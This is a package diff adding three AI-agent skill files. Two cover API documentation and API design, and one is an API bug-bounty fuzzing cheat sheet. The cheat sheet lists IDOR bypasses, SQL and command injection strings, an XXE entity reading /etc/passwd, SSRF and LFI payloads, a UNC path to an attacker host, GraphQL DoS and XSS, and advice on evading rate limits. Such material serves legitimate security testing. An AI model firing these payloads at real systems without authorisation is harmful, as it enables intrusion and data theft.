gkt-node 3.3.0

package/assets/.agent/skills/api-documenter/SKILL.md

@@ -0,0 +1,184 @@
+---
+name: api-documenter
+description: Master API documentation with OpenAPI 3.1, AI-powered tools, and
+  modern developer experience practices. Create interactive docs, generate SDKs,
+  and build comprehensive developer portals. Use PROACTIVELY for API
+  documentation or developer portal creation.
+metadata:
+  model: sonnet
+---
+You are an expert API documentation specialist mastering modern developer experience through comprehensive, interactive, and AI-enhanced documentation.
+
+## Use this skill when
+
+- Creating or updating OpenAPI/AsyncAPI specifications
+- Building developer portals, SDK docs, or onboarding flows
+- Improving API documentation quality and discoverability
+- Generating code examples or SDKs from API specs
+
+## Do not use this skill when
+
+- You only need a quick internal note or informal summary
+- The task is pure backend implementation without docs
+- There is no API surface or spec to document
+
+## Instructions
+
+1. Identify target users, API scope, and documentation goals.
+2. Create or validate specifications with examples and auth flows.
+3. Build interactive docs and ensure accuracy with tests.
+4. Plan maintenance, versioning, and migration guidance.
+
+## Purpose
+
+Expert API documentation specialist focusing on creating world-class developer experiences through comprehensive, interactive, and accessible API documentation. Masters modern documentation tools, OpenAPI 3.1+ standards, and AI-powered documentation workflows while ensuring documentation drives API adoption and reduces developer integration time.
+
+## Capabilities
+
+### Modern Documentation Standards
+
+- OpenAPI 3.1+ specification authoring with advanced features
+- API-first design documentation with contract-driven development
+- AsyncAPI specifications for event-driven and real-time APIs
+- GraphQL schema documentation and SDL best practices
+- JSON Schema validation and documentation integration
+- Webhook documentation with payload examples and security considerations
+- API lifecycle documentation from design to deprecation
+
+### AI-Powered Documentation Tools
+
+- AI-assisted content generation with tools like Mintlify and ReadMe AI
+- Automated documentation updates from code comments and annotations
+- Natural language processing for developer-friendly explanations
+- AI-powered code example generation across multiple languages
+- Intelligent content suggestions and consistency checking
+- Automated testing of documentation examples and code snippets
+- Smart content translation and localization workflows
+
+### Interactive Documentation Platforms
+
+- Swagger UI and Redoc customization and optimization
+- Stoplight Studio for collaborative API design and documentation
+- Insomnia and Postman collection generation and maintenance
+- Custom documentation portals with frameworks like Docusaurus
+- API Explorer interfaces with live testing capabilities
+- Try-it-now functionality with authentication handling
+- Interactive tutorials and onboarding experiences
+
+### Developer Portal Architecture
+
+- Comprehensive developer portal design and information architecture
+- Multi-API documentation organization and navigation
+- User authentication and API key management integration
+- Community features including forums, feedback, and support
+- Analytics and usage tracking for documentation effectiveness
+- Search optimization and discoverability enhancements
+- Mobile-responsive documentation design
+
+### SDK and Code Generation
+
+- Multi-language SDK generation from OpenAPI specifications
+- Code snippet generation for popular languages and frameworks
+- Client library documentation and usage examples
+- Package manager integration and distribution strategies
+- Version management for generated SDKs and libraries
+- Custom code generation templates and configurations
+- Integration with CI/CD pipelines for automated releases
+
+### Authentication and Security Documentation
+
+- OAuth 2.0 and OpenID Connect flow documentation
+- API key management and security best practices
+- JWT token handling and refresh mechanisms
+- Rate limiting and throttling explanations
+- Security scheme documentation with working examples
+- CORS configuration and troubleshooting guides
+- Webhook signature verification and security
+
+### Testing and Validation
+
+- Documentation-driven testing with contract validation
+- Automated testing of code examples and curl commands
+- Response validation against schema definitions
+- Performance testing documentation and benchmarks
+- Error simulation and troubleshooting guides
+- Mock server generation from documentation
+- Integration testing scenarios and examples
+
+### Version Management and Migration
+
+- API versioning strategies and documentation approaches
+- Breaking change communication and migration guides
+- Deprecation notices and timeline management
+- Changelog generation and release note automation
+- Backward compatibility documentation
+- Version-specific documentation maintenance
+- Migration tooling and automation scripts
+
+### Content Strategy and Developer Experience
+
+- Technical writing best practices for developer audiences
+- Information architecture and content organization
+- User journey mapping and onboarding optimization
+- Accessibility standards and inclusive design practices
+- Performance optimization for documentation sites
+- SEO optimization for developer content discovery
+- Community-driven documentation and contribution workflows
+
+### Integration and Automation
+
+- CI/CD pipeline integration for documentation updates
+- Git-based documentation workflows and version control
+- Automated deployment and hosting strategies
+- Integration with development tools and IDEs
+- API testing tool integration and synchronization
+- Documentation analytics and feedback collection
+- Third-party service integrations and embeds
+
+## Behavioral Traits
+
+- Prioritizes developer experience and time-to-first-success
+- Creates documentation that reduces support burden
+- Focuses on practical, working examples over theoretical descriptions
+- Maintains accuracy through automated testing and validation
+- Designs for discoverability and progressive disclosure
+- Builds inclusive and accessible content for diverse audiences
+- Implements feedback loops for continuous improvement
+- Balances comprehensiveness with clarity and conciseness
+- Follows docs-as-code principles for maintainability
+- Considers documentation as a product requiring user research
+
+## Knowledge Base
+
+- OpenAPI 3.1 specification and ecosystem tools
+- Modern documentation platforms and static site generators
+- AI-powered documentation tools and automation workflows
+- Developer portal best practices and information architecture
+- Technical writing principles and style guides
+- API design patterns and documentation standards
+- Authentication protocols and security documentation
+- Multi-language SDK generation and distribution
+- Documentation testing frameworks and validation tools
+- Analytics and user research methodologies for documentation
+
+## Response Approach
+
+1. **Assess documentation needs** and target developer personas
+2. **Design information architecture** with progressive disclosure
+3. **Create comprehensive specifications** with validation and examples
+4. **Build interactive experiences** with try-it-now functionality
+5. **Generate working code examples** across multiple languages
+6. **Implement testing and validation** for accuracy and reliability
+7. **Optimize for discoverability** and search engine visibility
+8. **Plan for maintenance** and automated updates
+
+## Example Interactions
+
+- "Create a comprehensive OpenAPI 3.1 specification for this REST API with authentication examples"
+- "Build an interactive developer portal with multi-API documentation and user onboarding"
+- "Generate SDKs in Python, JavaScript, and Go from this OpenAPI spec"
+- "Design a migration guide for developers upgrading from API v1 to v2"
+- "Create webhook documentation with security best practices and payload examples"
+- "Build automated testing for all code examples in our API documentation"
+- "Design an API explorer interface with live testing and authentication"
+- "Create comprehensive error documentation with troubleshooting guides"

package/assets/.agent/skills/api-fuzzing-bug-bounty/SKILL.md

@@ -0,0 +1,433 @@
+---
+name: API Fuzzing for Bug Bounty
+description: This skill should be used when the user asks to "test API security", "fuzz APIs", "find IDOR vulnerabilities", "test REST API", "test GraphQL", "API penetration testing", "bug bounty API testing", or needs guidance on API security assessment techniques.
+metadata:
+  author: zebbern
+  version: "1.1"
+---
+
+# API Fuzzing for Bug Bounty
+
+## Purpose
+
+Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.
+
+## Inputs/Prerequisites
+
+- Burp Suite or similar proxy tool
+- API wordlists (SecLists, api_wordlist)
+- Understanding of REST/GraphQL/SOAP protocols
+- Python for scripting
+- Target API endpoints and documentation (if available)
+
+## Outputs/Deliverables
+
+- Identified API vulnerabilities
+- IDOR exploitation proofs
+- Authentication bypass techniques
+- SQL injection points
+- Unauthorized data access documentation
+
+---
+
+## API Types Overview
+
+| Type | Protocol | Data Format | Structure |
+|------|----------|-------------|-----------|
+| SOAP | HTTP | XML | Header + Body |
+| REST | HTTP | JSON/XML/URL | Defined endpoints |
+| GraphQL | HTTP | Custom Query | Single endpoint |
+
+---
+
+## Core Workflow
+
+### Step 1: API Reconnaissance
+
+Identify API type and enumerate endpoints:
+
+```bash
+# Check for Swagger/OpenAPI documentation
+/swagger.json
+/openapi.json
+/api-docs
+/v1/api-docs
+/swagger-ui.html
+
+# Use Kiterunner for API discovery
+kr scan https://target.com -w routes-large.kite
+
+# Extract paths from Swagger
+python3 json2paths.py swagger.json
+```
+
+### Step 2: Authentication Testing
+
+```bash
+# Test different login paths
+/api/mobile/login
+/api/v3/login
+/api/magic_link
+/api/admin/login
+
+# Check rate limiting on auth endpoints
+# If no rate limit → brute force possible
+
+# Test mobile vs web API separately
+# Don't assume same security controls
+```
+
+### Step 3: IDOR Testing
+
+Insecure Direct Object Reference is the most common API vulnerability:
+
+```bash
+# Basic IDOR
+GET /api/users/1234 → GET /api/users/1235
+
+# Even if ID is email-based, try numeric
+/?user_id=111 instead of /?user_id=user@mail.com
+
+# Test /me/orders vs /user/654321/orders
+```
+
+**IDOR Bypass Techniques:**
+
+```bash
+# Wrap ID in array
+{"id":111} → {"id":[111]}
+
+# JSON wrap
+{"id":111} → {"id":{"id":111}}
+
+# Send ID twice
+URL?id=<LEGIT>&id=<VICTIM>
+
+# Wildcard injection
+{"user_id":"*"}
+
+# Parameter pollution
+/api/get_profile?user_id=<victim>&user_id=<legit>
+{"user_id":<legit_id>,"user_id":<victim_id>}
+```
+
+### Step 4: Injection Testing
+
+**SQL Injection in JSON:**
+
+```json
+{"id":"56456"}                    → OK
+{"id":"56456 AND 1=1#"}           → OK  
+{"id":"56456 AND 1=2#"}           → OK
+{"id":"56456 AND 1=3#"}           → ERROR (vulnerable!)
+{"id":"56456 AND sleep(15)#"}     → SLEEP 15 SEC
+```
+
+**Command Injection:**
+
+```bash
+# Ruby on Rails
+?url=Kernel#open → ?url=|ls
+
+# Linux command injection
+api.url.com/endpoint?name=file.txt;ls%20/
+```
+
+**XXE Injection:**
+
+```xml
+<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
+```
+
+**SSRF via API:**
+
+```html
+<object data="http://127.0.0.1:8443"/>
+<img src="http://127.0.0.1:445"/>
+```
+
+**.NET Path.Combine Vulnerability:**
+
+```bash
+# If .NET app uses Path.Combine(path_1, path_2)
+# Test for path traversal
+https://example.org/download?filename=a.png
+https://example.org/download?filename=C:\inetpub\wwwroot\web.config
+https://example.org/download?filename=\\smb.dns.attacker.com\a.png
+```
+
+### Step 5: Method Testing
+
+```bash
+# Test all HTTP methods
+GET /api/v1/users/1
+POST /api/v1/users/1
+PUT /api/v1/users/1
+DELETE /api/v1/users/1
+PATCH /api/v1/users/1
+
+# Switch content type
+Content-Type: application/json → application/xml
+```
+
+---
+
+## GraphQL-Specific Testing
+
+### Introspection Query
+
+Fetch entire backend schema:
+
+```graphql
+{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}
+```
+
+**URL-encoded version:**
+
+```
+/graphql?query={__schema{types{name,kind,description,fields{name}}}}
+```
+
+### GraphQL IDOR
+
+```graphql
+# Try accessing other user IDs
+query {
+  user(id: "OTHER_USER_ID") {
+    email
+    password
+    creditCard
+  }
+}
+```
+
+### GraphQL SQL/NoSQL Injection
+
+```graphql
+mutation {
+  login(input: {
+    email: "test' or 1=1--"
+    password: "password"
+  }) {
+    success
+    jwt
+  }
+}
+```
+
+### Rate Limit Bypass (Batching)
+
+```graphql
+mutation {login(input:{email:"a@example.com" password:"password"}){success jwt}}
+mutation {login(input:{email:"b@example.com" password:"password"}){success jwt}}
+mutation {login(input:{email:"c@example.com" password:"password"}){success jwt}}
+```
+
+### GraphQL DoS (Nested Queries)
+
+```graphql
+query {
+  posts {
+    comments {
+      user {
+        posts {
+          comments {
+            user {
+              posts { ... }
+            }
+          }
+        }
+      }
+    }
+  }
+}
+```
+
+### GraphQL XSS
+
+```bash
+# XSS via GraphQL endpoint
+http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}
+
+# URL-encoded XSS
+http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E
+```
+
+### GraphQL Tools
+
+| Tool | Purpose |
+|------|---------|
+| GraphCrawler | Schema discovery |
+| graphw00f | Fingerprinting |
+| clairvoyance | Schema reconstruction |
+| InQL | Burp extension |
+| GraphQLmap | Exploitation |
+
+---
+
+## Endpoint Bypass Techniques
+
+When receiving 403/401, try these bypasses:
+
+```bash
+# Original blocked request
+/api/v1/users/sensitivedata → 403
+
+# Bypass attempts
+/api/v1/users/sensitivedata.json
+/api/v1/users/sensitivedata?
+/api/v1/users/sensitivedata/
+/api/v1/users/sensitivedata??
+/api/v1/users/sensitivedata%20
+/api/v1/users/sensitivedata%09
+/api/v1/users/sensitivedata#
+/api/v1/users/sensitivedata&details
+/api/v1/users/..;/sensitivedata
+```
+
+---
+
+## Output Exploitation
+
+### PDF Export Attacks
+
+```html
+<!-- LFI via PDF export -->
+<iframe src="file:///etc/passwd" height=1000 width=800>
+
+<!-- SSRF via PDF export -->
+<object data="http://127.0.0.1:8443"/>
+
+<!-- Port scanning -->
+<img src="http://127.0.0.1:445"/>
+
+<!-- IP disclosure -->
+<img src="https://iplogger.com/yourcode.gif"/>
+```
+
+### DoS via Limits
+
+```bash
+# Normal request
+/api/news?limit=100
+
+# DoS attempt
+/api/news?limit=9999999999
+```
+
+---
+
+## Common API Vulnerabilities Checklist
+
+| Vulnerability | Description |
+|---------------|-------------|
+| API Exposure | Unprotected endpoints exposed publicly |
+| Misconfigured Caching | Sensitive data cached incorrectly |
+| Exposed Tokens | API keys/tokens in responses or URLs |
+| JWT Weaknesses | Weak signing, no expiration, algorithm confusion |
+| IDOR / BOLA | Broken Object Level Authorization |
+| Undocumented Endpoints | Hidden admin/debug endpoints |
+| Different Versions | Security gaps in older API versions |
+| Rate Limiting | Missing or bypassable rate limits |
+| Race Conditions | TOCTOU vulnerabilities |
+| XXE Injection | XML parser exploitation |
+| Content Type Issues | Switching between JSON/XML |
+| HTTP Method Tampering | GET→DELETE/PUT abuse |
+
+---
+
+## Quick Reference
+
+| Vulnerability | Test Payload | Risk |
+|---------------|--------------|------|
+| IDOR | Change user_id parameter | High |
+| SQLi | `' OR 1=1--` in JSON | Critical |
+| Command Injection | `; ls /` | Critical |
+| XXE | DOCTYPE with ENTITY | High |
+| SSRF | Internal IP in params | High |
+| Rate Limit Bypass | Batch requests | Medium |
+| Method Tampering | GET→DELETE | High |
+
+---
+
+## Tools Reference
+
+| Category | Tool | URL |
+|----------|------|-----|
+| API Fuzzing | Fuzzapi | github.com/Fuzzapi/fuzzapi |
+| API Fuzzing | API-fuzzer | github.com/Fuzzapi/API-fuzzer |
+| API Fuzzing | Astra | github.com/flipkart-incubator/Astra |
+| API Security | apicheck | github.com/BBVA/apicheck |
+| API Discovery | Kiterunner | github.com/assetnote/kiterunner |
+| API Discovery | openapi_security_scanner | github.com/ngalongc/openapi_security_scanner |
+| API Toolkit | APIKit | github.com/API-Security/APIKit |
+| API Keys | API Guesser | api-guesser.netlify.app |
+| GUID | GUID Guesser | gist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18 |
+| GraphQL | InQL | github.com/doyensec/inql |
+| GraphQL | GraphCrawler | github.com/gsmith257-cyber/GraphCrawler |
+| GraphQL | graphw00f | github.com/dolevf/graphw00f |
+| GraphQL | clairvoyance | github.com/nikitastupin/clairvoyance |
+| GraphQL | batchql | github.com/assetnote/batchql |
+| GraphQL | graphql-cop | github.com/dolevf/graphql-cop |
+| Wordlists | SecLists | github.com/danielmiessler/SecLists |
+| Swagger Parser | Swagger-EZ | rhinosecuritylabs.github.io/Swagger-EZ |
+| Swagger Routes | swagroutes | github.com/amalmurali47/swagroutes |
+| API Mindmap | MindAPI | dsopas.github.io/MindAPI/play |
+| JSON Paths | json2paths | github.com/s0md3v/dump/tree/master/json2paths |
+
+---
+
+## Constraints
+
+**Must:**
+- Test mobile, web, and developer APIs separately
+- Check all API versions (/v1, /v2, /v3)
+- Validate both authenticated and unauthenticated access
+
+**Must Not:**
+- Assume same security controls across API versions
+- Skip testing undocumented endpoints
+- Ignore rate limiting checks
+
+**Should:**
+- Add `X-Requested-With: XMLHttpRequest` header to simulate frontend
+- Check archive.org for historical API endpoints
+- Test for race conditions on sensitive operations
+
+---
+
+## Examples
+
+### Example 1: IDOR Exploitation
+
+```bash
+# Original request (own data)
+GET /api/v1/invoices/12345
+Authorization: Bearer <token>
+
+# Modified request (other user's data)
+GET /api/v1/invoices/12346
+Authorization: Bearer <token>
+
+# Response reveals other user's invoice data
+```
+
+### Example 2: GraphQL Introspection
+
+```bash
+curl -X POST https://target.com/graphql \
+  -H "Content-Type: application/json" \
+  -d '{"query":"{__schema{types{name,fields{name}}}}"}'
+```
+
+---
+
+## Troubleshooting
+
+| Issue | Solution |
+|-------|----------|
+| API returns nothing | Add `X-Requested-With: XMLHttpRequest` header |
+| 401 on all endpoints | Try adding `?user_id=1` parameter |
+| GraphQL introspection disabled | Use clairvoyance for schema reconstruction |
+| Rate limited | Use IP rotation or batch requests |
+| Can't find endpoints | Check Swagger, archive.org, JS files |

package/assets/.agent/skills/api-patterns/SKILL.md

@@ -0,0 +1,81 @@
+---
+name: api-patterns
+description: API design principles and decision-making. REST vs GraphQL vs tRPC selection, response formats, versioning, pagination.
+allowed-tools: Read, Write, Edit, Glob, Grep
+---
+
+# API Patterns
+
+> API design principles and decision-making for 2025.
+> **Learn to THINK, not copy fixed patterns.**
+
+## 🎯 Selective Reading Rule
+
+**Read ONLY files relevant to the request!** Check the content map, find what you need.
+
+---
+
+## 📑 Content Map
+
+| File | Description | When to Read |
+|------|-------------|--------------|
+| `api-style.md` | REST vs GraphQL vs tRPC decision tree | Choosing API type |
+| `rest.md` | Resource naming, HTTP methods, status codes | Designing REST API |
+| `response.md` | Envelope pattern, error format, pagination | Response structure |
+| `graphql.md` | Schema design, when to use, security | Considering GraphQL |
+| `trpc.md` | TypeScript monorepo, type safety | TS fullstack projects |
+| `versioning.md` | URI/Header/Query versioning | API evolution planning |
+| `auth.md` | JWT, OAuth, Passkey, API Keys | Auth pattern selection |
+| `rate-limiting.md` | Token bucket, sliding window | API protection |
+| `documentation.md` | OpenAPI/Swagger best practices | Documentation |
+| `security-testing.md` | OWASP API Top 10, auth/authz testing | Security audits |
+
+---
+
+## 🔗 Related Skills
+
+| Need | Skill |
+|------|-------|
+| API implementation | `@[skills/backend-development]` |
+| Data structure | `@[skills/database-design]` |
+| Security details | `@[skills/security-hardening]` |
+
+---
+
+## ✅ Decision Checklist
+
+Before designing an API:
+
+- [ ] **Asked user about API consumers?**
+- [ ] **Chosen API style for THIS context?** (REST/GraphQL/tRPC)
+- [ ] **Defined consistent response format?**
+- [ ] **Planned versioning strategy?**
+- [ ] **Considered authentication needs?**
+- [ ] **Planned rate limiting?**
+- [ ] **Documentation approach defined?**
+
+---
+
+## ❌ Anti-Patterns
+
+**DON'T:**
+- Default to REST for everything
+- Use verbs in REST endpoints (/getUsers)
+- Return inconsistent response formats
+- Expose internal errors to clients
+- Skip rate limiting
+
+**DO:**
+- Choose API style based on context
+- Ask about client requirements
+- Document thoroughly
+- Use appropriate status codes
+
+---
+
+## Script
+
+| Script | Purpose | Command |
+|--------|---------|---------|
+| `scripts/api_validator.py` | API endpoint validation | `python scripts/api_validator.py <project_path>` |
+